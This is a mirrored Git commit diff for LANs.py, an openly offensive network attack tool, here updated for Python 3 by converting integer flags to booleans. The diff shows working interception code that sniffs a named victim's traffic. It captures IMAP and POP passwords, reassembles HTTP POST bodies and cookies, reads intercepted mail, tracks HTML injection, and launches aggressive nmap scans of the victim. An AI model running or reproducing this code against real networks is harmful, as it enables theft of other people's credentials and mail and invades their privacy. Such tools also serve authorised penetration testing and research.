mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-08-21 22:13:24 -07:00
compatible with python 3
This commit is contained in:
parent
490c352aba
commit
68b847dabe
1 changed files with 23 additions and 20 deletions
43
LANs.py
43
LANs.py
|
@ -89,21 +89,21 @@ class Parser():
|
||||||
# Mail, irc, post parsing
|
# Mail, irc, post parsing
|
||||||
OheadersFound = []
|
OheadersFound = []
|
||||||
IheadersFound = []
|
IheadersFound = []
|
||||||
IMAPauth = 0
|
IMAPauth = False
|
||||||
IMAPdest = ''
|
IMAPdest = ''
|
||||||
POPauth = 0
|
POPauth = False
|
||||||
POPdest = ''
|
POPdest = ''
|
||||||
Cookies = []
|
Cookies = []
|
||||||
IRCnick = ''
|
IRCnick = ''
|
||||||
mail_passwds = []
|
mail_passwds = []
|
||||||
oldmailack = ''
|
oldmailack = ''
|
||||||
oldmailload = ''
|
oldmailload = ''
|
||||||
mailfragged = 0
|
mailfragged = False
|
||||||
|
|
||||||
# http parsing
|
# http parsing
|
||||||
oldHTTPack = ''
|
oldHTTPack = ''
|
||||||
oldHTTPload = ''
|
oldHTTPload = ''
|
||||||
HTTPfragged = 0
|
HTTPfragged = False
|
||||||
|
|
||||||
# html injection
|
# html injection
|
||||||
block_acks = []
|
block_acks = []
|
||||||
|
@ -186,6 +186,7 @@ class Parser():
|
||||||
except:
|
except:
|
||||||
headers = load
|
headers = load
|
||||||
body = ''
|
body = ''
|
||||||
|
|
||||||
header_lines = headers.split("\r\n")
|
header_lines = headers.split("\r\n")
|
||||||
|
|
||||||
if dport == 80:
|
if dport == 80:
|
||||||
|
@ -382,7 +383,7 @@ class Parser():
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if self.HTTPfragged == 1:
|
if self.HTTPfragged:
|
||||||
print(B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W)
|
print(B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W)
|
||||||
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
|
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
|
||||||
else:
|
else:
|
||||||
|
@ -409,11 +410,11 @@ class Parser():
|
||||||
if ack == self.oldHTTPack:
|
if ack == self.oldHTTPack:
|
||||||
self.oldHTTPload = self.oldHTTPload+load
|
self.oldHTTPload = self.oldHTTPload+load
|
||||||
load = self.oldHTTPload
|
load = self.oldHTTPload
|
||||||
self.HTTPfragged = 1
|
self.HTTPfragged = True
|
||||||
else:
|
else:
|
||||||
self.oldHTTPload = load
|
self.oldHTTPload = load
|
||||||
self.oldHTTPack = ack
|
self.oldHTTPack = ack
|
||||||
self.HTTPfragged = 0
|
self.HTTPfragged = False
|
||||||
try:
|
try:
|
||||||
headers, body = load.split(r"\r\n\r\n", 1)
|
headers, body = load.split(r"\r\n\r\n", 1)
|
||||||
except:
|
except:
|
||||||
|
@ -558,11 +559,11 @@ class Parser():
|
||||||
if load != r'.\r\n':
|
if load != r'.\r\n':
|
||||||
self.oldmailload = self.oldmailload+load
|
self.oldmailload = self.oldmailload+load
|
||||||
load = self.oldmailload
|
load = self.oldmailload
|
||||||
self.mailfragged = 1
|
self.mailfragged = True
|
||||||
else:
|
else:
|
||||||
self.oldmailload = load
|
self.oldmailload = load
|
||||||
self.oldmailack = ack
|
self.oldmailack = ack
|
||||||
self.mailfragged = 0
|
self.mailfragged = False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
headers, body = load.split(r"\r\n\r\n", 1)
|
headers, body = load.split(r"\r\n\r\n", 1)
|
||||||
|
@ -588,12 +589,12 @@ class Parser():
|
||||||
def passwords(self, IP_src, load, dport, IP_dst):
|
def passwords(self, IP_src, load, dport, IP_dst):
|
||||||
load = load.replace(r'\r\n', '')
|
load = load.replace(r'\r\n', '')
|
||||||
if dport == 143 and IP_src == victimIP and len(load) > 15:
|
if dport == 143 and IP_src == victimIP and len(load) > 15:
|
||||||
if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
|
if self.IMAPauth and self.IMAPdest == IP_dst:
|
||||||
|
|
||||||
# Don't double output mail passwords
|
# Don't double output mail passwords
|
||||||
for x in self.mail_passwds:
|
for x in self.mail_passwds:
|
||||||
if load in x:
|
if load in x:
|
||||||
self.IMAPauth = 0
|
self.IMAPauth = False
|
||||||
self.IMAPdest = ''
|
self.IMAPdest = ''
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -601,20 +602,20 @@ class Parser():
|
||||||
logger.write('[!] IMAP user and pass found: '+load+'\n')
|
logger.write('[!] IMAP user and pass found: '+load+'\n')
|
||||||
self.mail_passwds.append(load)
|
self.mail_passwds.append(load)
|
||||||
self.decode(load, dport)
|
self.decode(load, dport)
|
||||||
self.IMAPauth = 0
|
self.IMAPauth = False
|
||||||
self.IMAPdest = ''
|
self.IMAPdest = ''
|
||||||
|
|
||||||
if "authenticate plain" in load:
|
if "authenticate plain" in load:
|
||||||
self.IMAPauth = 1
|
self.IMAPauth = True
|
||||||
self.IMAPdest = IP_dst
|
self.IMAPdest = IP_dst
|
||||||
|
|
||||||
if dport == 110 and IP_src == victimIP:
|
if dport == 110 and IP_src == victimIP:
|
||||||
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
|
if self.POPauth and self.POPdest == IP_dst and len(load) > 10:
|
||||||
|
|
||||||
# Don't double output mail passwords
|
# Don't double output mail passwords
|
||||||
for x in self.mail_passwds:
|
for x in self.mail_passwds:
|
||||||
if load in x:
|
if load in x:
|
||||||
self.POPauth = 0
|
self.POPauth = False
|
||||||
self.POPdest = ''
|
self.POPdest = ''
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -622,11 +623,11 @@ class Parser():
|
||||||
logger.write('[!] POP user and pass found: '+load+'\n')
|
logger.write('[!] POP user and pass found: '+load+'\n')
|
||||||
self.mail_passwds.append(load)
|
self.mail_passwds.append(load)
|
||||||
self.decode(load, dport)
|
self.decode(load, dport)
|
||||||
self.POPauth = 0
|
self.POPauth = False
|
||||||
self.POPdest = ''
|
self.POPdest = ''
|
||||||
|
|
||||||
if 'AUTH PLAIN' in load:
|
if 'AUTH PLAIN' in load:
|
||||||
self.POPauth = 1
|
self.POPauth = True
|
||||||
self.POPdest = IP_dst
|
self.POPdest = IP_dst
|
||||||
|
|
||||||
if dport == 26:
|
if dport == 26:
|
||||||
|
@ -635,7 +636,7 @@ class Parser():
|
||||||
# Don't double output mail passwords
|
# Don't double output mail passwords
|
||||||
for x in self.mail_passwds:
|
for x in self.mail_passwds:
|
||||||
if load in x:
|
if load in x:
|
||||||
self.POPauth = 0
|
self.POPauth = False
|
||||||
self.POPdest = ''
|
self.POPdest = ''
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -653,7 +654,7 @@ class Parser():
|
||||||
|
|
||||||
# if date, from, to, in headers then print the message
|
# if date, from, to, in headers then print the message
|
||||||
if len(self.OheadersFound) > 3 and body != '':
|
if len(self.OheadersFound) > 3 and body != '':
|
||||||
if self.mailfragged == 1:
|
if self.mailfragged:
|
||||||
print(O+'[!] OUTGOING MESSAGE (fragmented)'+W)
|
print(O+'[!] OUTGOING MESSAGE (fragmented)'+W)
|
||||||
logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
|
logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
|
||||||
|
|
||||||
|
@ -694,7 +695,7 @@ class Parser():
|
||||||
return
|
return
|
||||||
|
|
||||||
if message != '':
|
if message != '':
|
||||||
if self.mailfragged == 1:
|
if self.mailfragged:
|
||||||
print(O+'[!] INCOMING MESSAGE (fragmented)'+W)
|
print(O+'[!] INCOMING MESSAGE (fragmented)'+W)
|
||||||
logger.write('[!] INCOMING MESSAGE (fragmented)\n')
|
logger.write('[!] INCOMING MESSAGE (fragmented)\n')
|
||||||
|
|
||||||
|
@ -945,6 +946,7 @@ def threads():
|
||||||
|
|
||||||
if args.nmapaggressive:
|
if args.nmapaggressive:
|
||||||
print('[*] Starting '+R+'aggressive scan [nmap -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt')
|
print('[*] Starting '+R+'aggressive scan [nmap -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
n = Thread(target=os.system, args=('nmap -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
|
n = Thread(target=os.system, args=('nmap -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
|
||||||
n.daemon = True
|
n.daemon = True
|
||||||
|
@ -1084,6 +1086,7 @@ def main():
|
||||||
|
|
||||||
if args.nmap:
|
if args.nmap:
|
||||||
print("\n[*] Running [nmap -T4 -O "+victimIP+"]")
|
print("\n[*] Running [nmap -T4 -O "+victimIP+"]")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
nmap = Popen(['/usr/bin/nmap', '-T4', '-O', victimIP], stdout=PIPE, stderr=DN)
|
nmap = Popen(['/usr/bin/nmap', '-T4', '-O', victimIP], stdout=PIPE, stderr=DN)
|
||||||
nmap = nmap.communicate()[0]
|
nmap = nmap.communicate()[0]
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue